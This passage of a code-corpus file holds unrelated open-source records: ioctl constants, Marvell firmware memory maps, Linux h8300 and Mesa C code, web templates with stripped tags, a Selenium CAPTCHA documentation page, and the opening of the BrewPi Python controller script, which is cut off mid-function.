0x100;\n$LCRTKIL = 0x400;\n$LCTLECH = 0x1000;\n$LPENDIN = 0x2000;\n$LDECCTQ = 0x4000;\n$LNOFLSH = 0x8000;\n$TIOCSBRK = 0x2000747B;\n$TIOCCBRK = 0x2000747A;\n$TIOCSDTR = 0x20007479;\n$TIOCCDTR = 0x20007478;\n$TIOCGPGRP = 0x40047477;\n$TIOCSPGRP = 0x80047476;\n$TIOCSLTC = 0x80067475;\n$TIOCGLTC = 0x40067474;\n$TIOCOUTQ = 0x40047473;\n$TIOCSTI = 0x80017472;\n$TIOCNOTTY = 0x20007471;\n$TIOCPKT = 0x80047470;\n$TIOCPKT_DATA = 0x0;\n$TIOCPKT_FLUSHREAD = 0x1;\n$TIOCPKT_FLUSHWRITE = 0x2;\n$TIOCPKT_STOP = 0x4;\n$TIOCPKT_START = 0x8;\n$TIOCPKT_NOSTOP = 0x10;\n$TIOCPKT_DOSTOP = 0x20;\n$TIOCSTOP = 0x2000746F;\n$TIOCSTART = 0x2000746E;\n$TIOCREMOTE = 0x20007469;\n$TIOCGWINSZ = 0x40087468;\n$TIOCSWINSZ = 0x80087467;\n$TIOCRESET = 0x20007466;\n$OTTYDISC = 0x0;\n$NETLDISC = 0x1;\n$NTTYDISC = 0x2;\n$FIOCLEX = 0x20006601;\n$FIONCLEX = 0x20006602;\n$FIONREAD = 0x4004667F;\n$FIONBIO = 0x8004667E;\n$FIOASYNC = 0x8004667D;\n$FIOSETOWN = 0x8004667C;\n$FIOGETOWN = 0x4004667B;\n$STPUTTABLE = 0x8004667A;\n$STGETTABLE = 0x80046679;\n$SIOCSHIWAT = 0x80047300;\n$SIOCGHIWAT = 0x40047301;\n$SIOCSLOWAT = 0x80047302;\n$SIOCGLOWAT = 0x40047303;\n$SIOCATMARK = 0x40047307;\n$SIOCSPGRP = 0x80047308;\n$SIOCGPGRP = 0x40047309;\n$SIOCADDRT = 0x8034720A;\n$SIOCDELRT = 0x8034720B;\n$SIOCSIFADDR = 0x8020690C;\n$SIOCGIFADDR = 0xC020690D;\n$SIOCSIFDSTADDR = 0x8020690E;\n$SIOCGIFDSTADDR = 0xC020690F;\n$SIOCSIFFLAGS = 0x80206910;\n$SIOCGIFFLAGS = 0xC0206911;\n$SIOCGIFBRDADDR = 0xC0206912;\n$SIOCSIFBRDADDR = 0x80206913;\n$SIOCGIFCONF = 0xC0086914;\n$SIOCGIFNETMASK = 0xC0206915;\n$SIOCSIFNETMASK = 0x80206916;\n$SIOCGIFMETRIC = 0xC0206917;\n$SIOCSIFMETRIC = 0x80206918;\n$SIOCSARP = 0x8024691E;\n$SIOCGARP = 0xC024691F;\n$SIOCDARP = 0x80246920;\n$PIXCONTINUE = 0x80747000;\n$PIXSTEP = 0x80747001;\n$PIXTERMINATE = 0x20007002;\n$PIGETFLAGS = 0x40747003;\n$PIXINHERIT = 0x80747004;\n$PIXDETACH = 0x20007005;\n$PIXGETSUBCODE = 0xC0747006;\n$PIXRDREGS = 0xC0747007;\n$PIXWRREGS = 0xC0747008;\n$PIXRDVREGS = 0xC0747009;\n$PIXWRVREGS = 0xC074700A;\n$PIXRDVSTATE = 0xC074700B;\n$PIXWRVSTATE = 0xC074700C;\n$PIXRDCREGS = 0xC074700D;\n$PIXWRCREGS = 0xC074700E;\n$PIRDSDRS = 0xC074700F;\n$PIXGETSIGACTION = 0xC0747010;\n$PIGETU = 0xC0747011;\n$PISETRWTID = 0xC0747012;\n$PIXGETTHCOUNT = 0xC0747013;\n$PIXRUN = 0x20007014;\n"} -{"text": "// Responsive utilities\n\n//\n// More easily include all the states for responsive-utilities.less.\n.responsive-visibility() {\n display: block !important;\n table& { display: table; }\n tr& { display: table-row !important; }\n th&,\n td& { display: table-cell !important; }\n}\n\n.responsive-invisibility() {\n display: none !important;\n}\n"} -{"text": "/*\n * Copyright (C) 2018 Marvell International Ltd.\n *\n * SPDX-License-Identifier: BSD-3-Clause\n * https://spdx.org/licenses\n */\n\n#include \n\n/*\n * If bootrom is currently at BLE there's no need to include the memory\n * maps structure at this point\n */\n#include \n#ifndef IMAGE_BLE\n\n/*****************************************************************************\n * AMB Configuration\n *****************************************************************************\n */\nstruct addr_map_win amb_memory_map[] = {\n\t/* CP0 SPI1 CS0 Direct Mode access */\n\t{0xf900,\t0x1000000,\tAMB_SPI1_CS0_ID},\n};\n\nint marvell_get_amb_memory_map(struct addr_map_win **win,\n\t\t\t uint32_t *size, uintptr_t base)\n{\n\t*win = amb_memory_map;\n\tif (*win == NULL)\n\t\t*size = 0;\n\telse\n\t\t*size = ARRAY_SIZE(amb_memory_map);\n\n\treturn 0;\n}\n#endif\n\n/*****************************************************************************\n * IO_WIN Configuration\n *****************************************************************************\n */\nstruct addr_map_win io_win_memory_map[] = {\n#ifndef IMAGE_BLE\n\t/* MCI 0 indirect window */\n\t{MVEBU_MCI_REG_BASE_REMAP(0),\t0x100000, MCI_0_TID},\n\t/* MCI 1 indirect window */\n\t{MVEBU_MCI_REG_BASE_REMAP(1),\t0x100000, MCI_1_TID},\n#endif\n};\n\nuint32_t marvell_get_io_win_gcr_target(int ap_index)\n{\n\treturn PIDI_TID;\n}\n\nint marvell_get_io_win_memory_map(int ap_index, struct addr_map_win **win,\n\t\t\t\t uint32_t *size)\n{\n\t*win = io_win_memory_map;\n\tif (*win == NULL)\n\t\t*size = 0;\n\telse\n\t\t*size = ARRAY_SIZE(io_win_memory_map);\n\n\treturn 0;\n}\n\n#ifndef IMAGE_BLE\n/*****************************************************************************\n * IOB Configuration\n *****************************************************************************\n */\nstruct addr_map_win iob_memory_map[] = {\n\t/* PEX1_X1 window */\n\t{0x00000000f7000000,\t0x1000000,\tPEX1_TID},\n\t/* PEX2_X1 window */\n\t{0x00000000f8000000,\t0x1000000,\tPEX2_TID},\n\t{0x00000000c0000000,\t0x30000000,\tPEX2_TID},\n\t{0x0000000800000000,\t0x100000000,\tPEX2_TID},\n\t/* PEX0_X4 window */\n\t{0x00000000f6000000,\t0x1000000,\tPEX0_TID},\n\t/* SPI1_CS0 (RUNIT) window */\n\t{0x00000000f9000000,\t0x1000000,\tRUNIT_TID},\n};\n\nint marvell_get_iob_memory_map(struct addr_map_win **win, uint32_t *size,\n\t\t\t uintptr_t base)\n{\n\t*win = iob_memory_map;\n\t*size = ARRAY_SIZE(iob_memory_map);\n\n\treturn 0;\n}\n#endif\n\n/*****************************************************************************\n * CCU Configuration\n *****************************************************************************\n */\nstruct addr_map_win ccu_memory_map[] = {\t/* IO window */\n#ifdef IMAGE_BLE\n\t{0x00000000f2000000,\t0x4000000,\tIO_0_TID}, /* IO window */\n#else\n#if LLC_SRAM\n\t/* This entry is prepared for OP-TEE OS that enables the LLC SRAM\n\t * and changes the window target to SRAM_TID.\n\t */\n\t{PLAT_MARVELL_LLC_SRAM_BASE, PLAT_MARVELL_LLC_SRAM_SIZE, DRAM_0_TID},\n#endif\n\t{0x00000000f2000000,\t0xe000000,\tIO_0_TID},\n\t{0x00000000c0000000,\t0x30000000,\tIO_0_TID}, /* IO window */\n\t{0x0000000800000000,\t0x100000000,\tIO_0_TID}, /* IO window */\n#endif\n};\n\nuint32_t marvell_get_ccu_gcr_target(int ap)\n{\n\treturn DRAM_0_TID;\n}\n\nint marvell_get_ccu_memory_map(int ap_index, struct addr_map_win **win,\n\t\t\t uint32_t *size)\n{\n\t*win = ccu_memory_map;\n\t*size = ARRAY_SIZE(ccu_memory_map);\n\n\treturn 0;\n}\n\n#ifdef IMAGE_BLE\n/*****************************************************************************\n * SKIP IMAGE Configuration\n *****************************************************************************\n */\n#if PLAT_RECOVERY_IMAGE_ENABLE\nstruct skip_image skip_im = {\n\t.detection_method = GPIO,\n\t.info.gpio.num = 33,\n\t.info.gpio.button_state = HIGH,\n\t.info.test.cp_ap = CP,\n\t.info.test.cp_index = 0,\n};\n\nvoid *plat_marvell_get_skip_image_data(void)\n{\n\t/* Return the skip_image configurations */\n\treturn &skip_im;\n}\n#endif\n#endif\n"} -{"text": "{% load nav_tags %}\n\n{% if is_site_map %}\n
  • {% spaceless %}\n \n {% trans item.label|safe %}\n {% endspaceless %}\n\n {% if item.children %}\n
      \n {% for child in item.children %}\n {% nav_item child is_site_map=is_site_map %}\n {% endfor %}\n
    \n {% endif %}\n
    • \n{% else %}\n
  • {% spaceless %}\n \n {% trans item.label|safe %}\n {% endspaceless %}\n\n {% if item.children %}\n
      \n {% for child in item.children %}\n {% nav_item child %}\n {% endfor %}\n
    \n {% endif %}\n
    • \n{% endif %}\n"} -{"text": "
    \n
    \n \n
    \n
    \n\n<% if (privateKey) { %>\n
    \n
    \n

    {{_.i18n('Your key')}}

    \n
    \n\n \n \n
    \n<% } %>\n"} -{"text": "/* thread_info.h: h8300 low-level thread information\n * adapted from the i386 and PPC versions by Yoshinori Sato \n *\n * Copyright (C) 2002 David Howells (dhowells@redhat.com)\n * - Incorporating suggestions made by Linus Torvalds and Dave Miller\n */\n\n#ifndef _ASM_THREAD_INFO_H\n#define _ASM_THREAD_INFO_H\n\n#include \n\n#ifdef __KERNEL__\n\n#ifndef __ASSEMBLY__\n\n/*\n * low level task data.\n * If you change this, change the TI_* offsets below to match.\n */\nstruct thread_info {\n\tstruct task_struct *task;\t\t/* main task structure */\n\tstruct exec_domain *exec_domain;\t/* execution domain */\n\tunsigned long\t flags;\t\t/* low level flags */\n\tint\t\t cpu;\t\t\t/* cpu we're on */\n\tint\t\t preempt_count;\t/* 0 => preemptable, <0 => BUG */\n\tstruct restart_block restart_block;\n};\n\n/*\n * macros/functions for gaining access to the thread information structure\n */\n#define INIT_THREAD_INFO(tsk)\t\t\t\\\n{\t\t\t\t\t\t\\\n\t.task =\t\t&tsk,\t\t\t\\\n\t.exec_domain =\t&default_exec_domain,\t\\\n\t.flags =\t0,\t\t\t\\\n\t.cpu =\t\t0,\t\t\t\\\n\t.preempt_count = INIT_PREEMPT_COUNT,\t\\\n\t.restart_block\t= {\t\t\t\\\n\t\t.fn = do_no_restart_syscall,\t\\\n\t},\t\t\t\t\t\\\n}\n\n#define init_thread_info\t(init_thread_union.thread_info)\n#define init_stack\t\t(init_thread_union.stack)\n\n\n/*\n * Size of kernel stack for each process. This must be a power of 2...\n */\n#define THREAD_SIZE_ORDER\t1\n#define THREAD_SIZE\t\t8192\t/* 2 pages */\n\n\n/* how to get the thread information struct from C */\nstatic inline struct thread_info *current_thread_info(void)\n{\n\tstruct thread_info *ti;\n\t__asm__(\n\t\t\"mov.l\tsp, %0 \\n\\t\"\n\t\t\"and.l\t%1, %0\"\n\t\t: \"=&r\"(ti)\n\t\t: \"i\" (~(THREAD_SIZE-1))\n\t\t);\n\treturn ti;\n}\n\n#endif /* __ASSEMBLY__ */\n\n/*\n * Offsets in thread_info structure, used in assembly code\n */\n#define TI_TASK\t\t0\n#define TI_EXECDOMAIN\t4\n#define TI_FLAGS\t8\n#define TI_CPU\t\t12\n#define TI_PRE_COUNT\t16\n\n#define\tPREEMPT_ACTIVE\t0x4000000\n\n/*\n * thread information flag bit numbers\n */\n#define TIF_SYSCALL_TRACE\t0\t/* syscall trace active */\n#define TIF_SIGPENDING\t\t1\t/* signal pending */\n#define TIF_NEED_RESCHED\t2\t/* rescheduling necessary */\n#define TIF_POLLING_NRFLAG\t3\t/* true if poll_idle() is polling\n\t\t\t\t\t TIF_NEED_RESCHED */\n#define TIF_MEMDIE\t\t4\n#define TIF_RESTORE_SIGMASK\t5\t/* restore signal mask in do_signal() */\n#define TIF_NOTIFY_RESUME\t6\t/* callback before returning to user */\n#define TIF_FREEZE\t\t16\t/* is freezing for suspend */\n\n/* as above, but as bit values */\n#define _TIF_SYSCALL_TRACE\t(1< {\n new Clipboard('.js-clipboard-code');\n\n new Scrollspy();\n new MobileNav();\n new Toggle();\n});\n"} -{"text": "/*\n * Copyright \u00a9 2013 Intel Corporation\n *\n * Permission is hereby granted, free of charge, to any person obtaining a\n * copy of this software and associated documentation files (the \"Software\"),\n * to deal in the Software without restriction, including without limitation\n * the rights to use, copy, modify, merge, publish, distribute, sublicense,\n * and/or sell copies of the Software, and to permit persons to whom the\n * Software is furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice (including the next\n * paragraph) shall be included in all copies or substantial portions of the\n * Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL\n * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER\n * DEALINGS IN THE SOFTWARE.\n */\n\n#include \"ir.h\"\n\n/**\n * Helper for checking equality when one instruction might be NULL, since you\n * can't access a's vtable in that case.\n */\nstatic bool\npossibly_null_equals(const ir_instruction *a, const ir_instruction *b,\n enum ir_node_type ignore)\n{\n if (!a || !b)\n return !a && !b;\n\n return a->equals(b, ignore);\n}\n\n/**\n * The base equality function: Return not equal for anything we don't know\n * about.\n */\nbool\nir_instruction::equals(const ir_instruction *, enum ir_node_type) const\n{\n return false;\n}\n\nbool\nir_constant::equals(const ir_instruction *ir, enum ir_node_type) const\n{\n const ir_constant *other = ir->as_constant();\n if (!other)\n return false;\n\n if (type != other->type)\n return false;\n\n for (unsigned i = 0; i < type->components(); i++) {\n if (type->is_double()) {\n if (value.d[i] != other->value.d[i])\n return false;\n } else {\n if (value.u[i] != other->value.u[i])\n return false;\n }\n }\n\n return true;\n}\n\nbool\nir_dereference_variable::equals(const ir_instruction *ir,\n enum ir_node_type) const\n{\n const ir_dereference_variable *other = ir->as_dereference_variable();\n if (!other)\n return false;\n\n return var == other->var;\n}\n\nbool\nir_dereference_array::equals(const ir_instruction *ir,\n enum ir_node_type ignore) const\n{\n const ir_dereference_array *other = ir->as_dereference_array();\n if (!other)\n return false;\n\n if (type != other->type)\n return false;\n\n if (!array->equals(other->array, ignore))\n return false;\n\n if (!array_index->equals(other->array_index, ignore))\n return false;\n\n return true;\n}\n\nbool\nir_swizzle::equals(const ir_instruction *ir,\n enum ir_node_type ignore) const\n{\n const ir_swizzle *other = ir->as_swizzle();\n if (!other)\n return false;\n\n if (type != other->type)\n return false;\n\n if (ignore != ir_type_swizzle) {\n if (mask.x != other->mask.x ||\n mask.y != other->mask.y ||\n mask.z != other->mask.z ||\n mask.w != other->mask.w) {\n return false;\n }\n }\n\n return val->equals(other->val, ignore);\n}\n\nbool\nir_texture::equals(const ir_instruction *ir, enum ir_node_type ignore) const\n{\n const ir_texture *other = ir->as_texture();\n if (!other)\n return false;\n\n if (type != other->type)\n return false;\n\n if (op != other->op)\n return false;\n\n if (!possibly_null_equals(coordinate, other->coordinate, ignore))\n return false;\n\n if (!possibly_null_equals(projector, other->projector, ignore))\n return false;\n\n if (!possibly_null_equals(shadow_comparator, other->shadow_comparator, ignore))\n return false;\n\n if (!possibly_null_equals(offset, other->offset, ignore))\n return false;\n\n if (!sampler->equals(other->sampler, ignore))\n return false;\n\n switch (op) {\n case ir_tex:\n case ir_lod:\n case ir_query_levels:\n case ir_texture_samples:\n case ir_samples_identical:\n break;\n case ir_txb:\n if (!lod_info.bias->equals(other->lod_info.bias, ignore))\n return false;\n break;\n case ir_txl:\n case ir_txf:\n case ir_txs:\n if (!lod_info.lod->equals(other->lod_info.lod, ignore))\n return false;\n break;\n case ir_txd:\n if (!lod_info.grad.dPdx->equals(other->lod_info.grad.dPdx, ignore) ||\n !lod_info.grad.dPdy->equals(other->lod_info.grad.dPdy, ignore))\n return false;\n break;\n case ir_txf_ms:\n if (!lod_info.sample_index->equals(other->lod_info.sample_index, ignore))\n return false;\n break;\n case ir_tg4:\n if (!lod_info.component->equals(other->lod_info.component, ignore))\n return false;\n break;\n default:\n assert(!\"Unrecognized texture op\");\n }\n\n return true;\n}\n\nbool\nir_expression::equals(const ir_instruction *ir, enum ir_node_type ignore) const\n{\n const ir_expression *other = ir->as_expression();\n if (!other)\n return false;\n\n if (type != other->type)\n return false;\n\n if (operation != other->operation)\n return false;\n\n for (unsigned i = 0; i < num_operands; i++) {\n if (!operands[i]->equals(other->operands[i], ignore))\n return false;\n }\n\n return true;\n}\n"} -{"text": "\n\n \n \n \n \n \n\n\n \n\n Captchas :: Documentaci\u00f3n de Selenium\n\n \n \n \n \n \n \n \n \n \n \n \n \n \n\n \n\n \n \n \n \n \n\n\n\n\n\n
    \n
    \n
    \n \n
    \n
    \n \n \n \n \n \n \n \n \n
    \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n El Proyecto para Automatizaci\u00f3n de Navegadores Selenium > Peores pr\u00e1cticas > Captchas\n \n \n \n \n \n \n \n \n
    \n \n
    \n
    \n\n
    \n
    \n\n \n
    \n
    \n \n
    \n \n
    \n \n
    \n \n

    \n \n Captchas\n

    \n \n\n \n\n\n\n\n

    Page being translated from\nEnglish to Spanish. Do you speak Spanish? Help us to translate\nit by sending us pull requests!

    \n
    \n\n\n

    CAPTCHA, short for Completely Automated Public Turing test\nto tell Computers and Humans Apart,\nis explicitly designed to prevent automation, so don\u2019t try!\nThere are two primary strategies to get around CAPTCHA checks:

    \n\n
      \n
    • Disable CAPTCHAs in your test environment
      • \n
    • Add a hook to allow tests to bypass the CAPTCHA
      • \n
    \n\n\n
    \n\t\n
    \n\n
    \n \n \u201cCaptchas\u201d\n was last updated on: 25 Aug 2019 18:58:49 +0000: Publishing site on Sun Aug 25 18:58:49 UTC 2019, commit 95da9c5fb67f3ee0d8643391d33c432194496c59 and job 795.1, [skip ci] (0796e9a2)\n
    \n \n
    \n \n\n
    \n\n
    \n \n \n \n \n \n \n \n \n \n \n \n\n \n \n \n \n \n\n \n \n \n \n \n \n \n \n \n \n \n\n \n \n \n\n \n \n \n \n \n \n \n \n\n \n \n \n\n \n \n \n \n \n \n \n \n \n \n \n\n \n \n \n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n\n \n \n \n\n \n \n \n \n \n \n \n \n\n \n \n \n\n \n \n \n \n \n \n \n \n \n \n \n\n \n \n \n\n \n \n \n \n \n \n \n \n \n \n \n\n \n \n \n\n \n \n \n \n \n \n \n \n \n \n \n\n \n \n \n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n\n \n \n \n\n \n \n \n \n \n \n \n \n\n \n \n \n\n \n \n \n \n \n \n \n \n \n \n \n\n \n \n \n\n \n \n \n \n \n \n \n \n \n \n \n\n \n \n \n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n\n \n \n \n\n \n \n \n \n \n \n \n \n\n \n \n \n\n \n \n \n \n \n \n \n \n \n \n \n\n \n \n \n\n \n \n \n \n \n \n \n \n \n \n \n\n \n \n \n\n \n \n \n \n \n \n \n \n \n \n \n\n \n \n \n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n\n \n \n \n\n \n \n \n \n \n \n \n \n\n \n \n \n\n \n \n \n \n \n \n \n \n \n \n \n\n \n \n \n\n \n \n \n \n \n \n \n \n \n \n \n\n \n \n \n\n \n \n \n \n \n \n \n \n \n \n \n\n \n \n \n\n \n \n \n \n \n \n \n \n \n \n \n\n \n \n \n\n \n \n \n \n \n \n \n \n \n \n \n\n \n \n \n\n \n \n \n \n \n \n \n \n \n \n \n\n \n \n \n\n \n \n \n \n \n \n \n \n \n \n \n\n \n \n \n\n \n \n \n \n \n \n \n \n \n \n \n\n \n \n \n\n \n \n \n \n \n \n \n \n \n \n \n\n \n \n \n\n \n \n \n \n \n \n \n \n \n \n \n\n \n \n \n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n\n \n \n \n\n \n \n \n \n \n \n \n \n\n \n \n \n\n \n \n \n \n \n \n \n \n \n \n \n\n \n \n \n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n\n \n \n \n\n \n \n \n \n \n \n \n \n\n \n \n \n\n \n \n \n \n \n \n \n \n \n \n \n\n \n \n \n\n \n \n \n \n \n \n \n \n \n \n \n\n \n \n \n\n \n \n \n \n \n \n \n \n \n \n \n\n \n \n \n\n \n \n \n \n \n \n \n \n \n \n \n\n \n \n \n\n \n \n \n \n \n \n \n \n \n \n \n\n \n \n \n\n \n \n \n \n \n \n \n \n \n \n \n\n \n \n \n\n \n \n \n \n \n \n \n \n \n \n \n\n \n \n \n\n \n \n \n \n \n \n \n \n \n \n \n\n \n \n \n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n\n \n \n \n\n \n \n \n \n \n \n \n \n \n\n \n \n \n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n\n \n \n \n\n \n \n \n \n \n \n \n \n \n \n \n\n \n \n \n\n \n \n \n \n \n \n \n \n \n \n \n\n \n \n \n\n \n \n \n \n \n \n \n \n \n \n \n\n \n \n \n\n \n \n \n \n \n \n \n \n \n \n \n\n \n \n \n\n \n \n \n \n \n \n \n \n \n \n \n\n \n \n \n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n\n \n \n \n\n \n \n \n \n \n \n \n \n\n \n \n \n\n \n \n \n \n \n \n \n \n \n \n \n\n \n \n \n\n \n \n \n \n \n \n \n \n \n \n \n\n \n \n \n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n\n \n \n \n\n \n \n \n \n \n \n \n \n\n \n \n \n\n \n \n \n \n \n \n \n \n \n \n \n\n \n \n \n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n\n \n \n \n\n \n \n \n \n \n \n \n \n\n \n \n \n\n \n \n \n \n \n \n \n \n \n \n \n\n \n \n \n\n \n \n \n \n \n \n \n \n \n \n \n\n \n \n \n\n \n \n \n \n \n \n \n \n \n \n \n\n \n \n \n\n \n \n \n \n \n \n \n \n \n \n \n\n \n \n \n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n\n \n \n \n\n \n \n \n \n \n \n \n \n\n \n \n \n\n \n \n \n \n \n \n \n \n \n \n \n\n \n \n \n\n \n \n \n \n \n \n \n \n \n \n \n\n\n\t \n\t \n\t\t\n\t\t\t \n\t\t\n\t\t\n\t\t\t\n\t\t\n\t\n
    \n\n
    \n \n
    \n
    \n
    \n \n \n \n \n \n \n \n \n \n \n\n \n \n \n \n\n \n\n\n"} -{"text": "#!/usr/bin/python\n# Copyright 2012 BrewPi\n# This file is part of BrewPi.\n\n# BrewPi is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n\n# BrewPi is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n\n# You should have received a copy of the GNU General Public License\n# along with BrewPi. If not, see .\n\nfrom __future__ import print_function\nimport sys\n\nfrom BrewPiUtil import printStdErr\nfrom BrewPiUtil import logMessage\nfrom autoSerial import find_serial_numbers\n\n# Check needed software dependencies to nudge users to fix their setup\nif sys.version_info < (2, 7):\n printStdErr(\"Sorry, requires Python 2.7.\")\n sys.exit(1)\n\n# standard libraries\nimport time\nimport socket\nimport os\nimport getopt\nfrom pprint import pprint\nimport shutil\nimport traceback\nimport urllib\nfrom distutils.version import LooseVersion\nfrom serial import SerialException\n\n# load non standard packages, exit when they are not installed\ntry:\n import serial\n if LooseVersion(serial.VERSION) < LooseVersion(\"3.0\"):\n printStdErr(\"BrewPi requires pyserial 3.0, you have version {0} installed.\\n\".format(serial.VERSION) +\n \"Please upgrade pyserial via pip, by running:\\n\" +\n \" sudo pip install pyserial --upgrade\\n\" +\n \"If you do not have pip installed, install it with:\\n\" +\n \" sudo apt-get install build-essential python-dev python-pip\\n\")\n sys.exit(1)\nexcept ImportError:\n printStdErr(\"BrewPi requires PySerial to run, please install it via pip, by running:\\n\" +\n \" sudo pip install pyserial --upgrade\\n\" +\n \"If you do not have pip installed, install it with:\\n\" +\n \" sudo apt-get install build-essential python-dev python-pip\\n\")\n sys.exit(1)\ntry:\n import simplejson as json\nexcept ImportError:\n printStdErr(\"BrewPi requires simplejson to run, please install it with 'sudo apt-get install python-simplejson\")\n sys.exit(1)\ntry:\n from configobj import ConfigObj\nexcept ImportError:\n printStdErr(\"BrewPi requires ConfigObj to run, please install it with 'sudo apt-get install python-configobj\")\n sys.exit(1)\n\n\n#local imports\nimport temperatureProfile\nimport programController as programmer\nimport brewpiJson\nimport BrewPiUtil as util\nimport brewpiVersion\nimport pinList\nimport expandLogMessage\nimport BrewPiProcess\nfrom backgroundserial import BackGroundSerial\n\n\n# Settings will be read from controller, initialize with same defaults as controller\n# This is mainly to show what's expected. Will all be overwritten on the first update from the controller\n\ncompatibleHwVersion = \"0.5.0\"\n\n# Control Settings\ncs = dict(mode='b', beerSet=20.0, fridgeSet=20.0)\n\n# Control Constants\ncc = dict()\n\n# Control variables (json string, sent directly to browser without decoding)\ncv = \"{}\"\n\n# All temperatures in the system and the current state\ntemperatures = {}\n\n# listState = \"\", \"d\", \"h\", \"dh\" to reflect whether the list is up to date for installed (d) and available (h)\ndeviceList = dict(listState=\"\", installed=[], available=[])\n\n# lastSerialTraffic times how long ago data was succesfully received from the controller. If it has been over 60 seconds ago, we quit.\nlastSerialTraffic = time.time\n\n# Read in command line arguments\ntry:\n opts, args = getopt.getopt(sys.argv[1:], \"hc:sqkfld\",\n ['help', 'config=', 'status', 'quit', 'kill', 'force', 'log', 'dontrunfile', 'checkstartuponly'])\nexcept getopt.GetoptError:\n printStdErr(\"Unknown parameter, available Options: --help, --config , \" +\n \"--status, --quit, --kill, --force, --log, --dontrunfile\")\n sys.exit()\n\nconfigFile = None\ncheckDontRunFile = False\ncheckStartupOnly = False\nlogToFiles = False\n\nfor o, a in opts:\n # print help message for command line options\n if o in ('-h', '--help'):\n printStdErr(\"\\n Available command line options: \")\n printStdErr(\"--help: print this help message\")\n printStdErr(\"--config : specify a config file to use. When omitted settings/config.cf is used\")\n printStdErr(\"--status: check which scripts are already running\")\n printStdErr(\"--quit: ask all instances of BrewPi to quit by sending a message to their socket\")\n printStdErr(\"--kill: kill all instances of BrewPi by sending SIGKILL\")\n printStdErr(\"--force: Force quit/kill conflicting instances of BrewPi and keep this one\")\n printStdErr(\"--log: redirect stderr and stdout to log files\")\n printStdErr(\"--dontrunfile: check dontrunfile in www directory and quit if it exists\")\n printStdErr(\"--checkstartuponly: exit after startup checks, return 1 if startup is allowed\")\n exit()\n # supply a config file\n if o in ('-c', '--config'):\n configFile = os.path.abspath(a)\n if not os.path.exists(configFile):\n sys.exit('ERROR: Config file \"%s\" was not found!' % configFile)\n # send quit instruction to all running instances of BrewPi\n if o in ('-s', '--status'):\n allProcesses = BrewPiProcess.BrewPiProcesses()\n allProcesses.update()\n running = allProcesses.as_dict()\n if running:\n pprint(running)\n else:\n printStdErr(\"No BrewPi scripts running\")\n exit()\n # quit/kill running instances, then keep this one\n if o in ('-q', '--quit'):\n logMessage(\"Asking all BrewPi Processes to quit on their socket\")\n allProcesses = BrewPiProcess.BrewPiProcesses()\n allProcesses.quitAll()\n time.sleep(2)\n exit()\n # send SIGKILL to all running instances of BrewPi\n if o in ('-k', '--kill'):\n logMessage(\"Killing all BrewPi Processes\")\n allProcesses = BrewPiProcess.BrewPiProcesses()\n allProcesses.killAll()\n exit()\n # close all existing instances of BrewPi by quit/kill and keep this one\n if o in ('-f', '--force'):\n logMessage(\"Closing all existing processes of BrewPi and keeping this one\")\n allProcesses = BrewPiProcess.BrewPiProcesses()\n if len(allProcesses.update()) > 1: # if I am not the only one running\n allProcesses.quitAll()\n time.sleep(2)\n if len(allProcesses.update()) > 1:\n printStdErr(\"Asking the other processes to quit nicely did not work. Killing them with force!\")\n # redirect output of stderr and stdout to files in log directory\n if o in ('-l', '--log'):\n logToFiles = True\n # only start brewpi when the dontrunfile is not found\n if o in ('-d', '--dontrunfile'):\n checkDontRunFile = True\n if o in ('--checkstartuponly'):\n checkStartupOnly = True\n\nif not configFile:\n configFile = util.addSlash(sys.path[0]) + 'settings/config.cfg'\n\nconfig = util.readCfgWithDefaults(configFile)\n\ndontRunFilePath = os.path.join(config['wwwPath'], 'do_not_run_brewpi')\n# check dont run file when it exists and exit it it does\nif checkDontRunFile:\n if os.path.exists(dontRunFilePath):\n # do not print anything, this will flood the logs\n exit(0)\n\n# check for other running instances of BrewPi that will cause conflicts with this instance\nallProcesses = BrewPiProcess.BrewPiProcesses()\nallProcesses.update()\nmyProcess = allProcesses.me()\nif allProcesses.findConflicts(myProcess):\n if not checkDontRunFile:\n logMessage(\"Another instance of BrewPi is already running, which will conflict with this instance. \" +\n \"This instance will exit\")\n exit(0)\n\nif checkStartupOnly:\n exit(1)\n\nlocalJsonFileName = \"\"\nlocalCsvFileName = \"\"\nwwwJsonFileName = \"\"\nwwwCsvFileName = \"\"\nlastDay = \"\"\nday = \"\"\n\nif logToFiles:\n logPath = util.addSlash(util.scriptPath()) + 'logs/'\n logMessage(\"Redirecting output to log files in %s, output will not be shown in console\" % logPath)\n sys.stderr = open(logPath + 'stderr.txt', 'a', 0) # append to stderr file, unbuffered\n sys.stdout = open(logPath + 'stdout.txt', 'w', 0) # overwrite stdout file on script start, unbuffered\n\n\n# userSettings.json is a copy of some of the settings that are needed by the web server.\n# This allows the web server to load properly, even when the script is not running.\ndef changeWwwSetting(settingName, value):\n wwwSettingsFileName = util.addSlash(config['wwwPath']) + 'userSettings.json'\n if os.path.exists(wwwSettingsFileName):\n wwwSettingsFile = 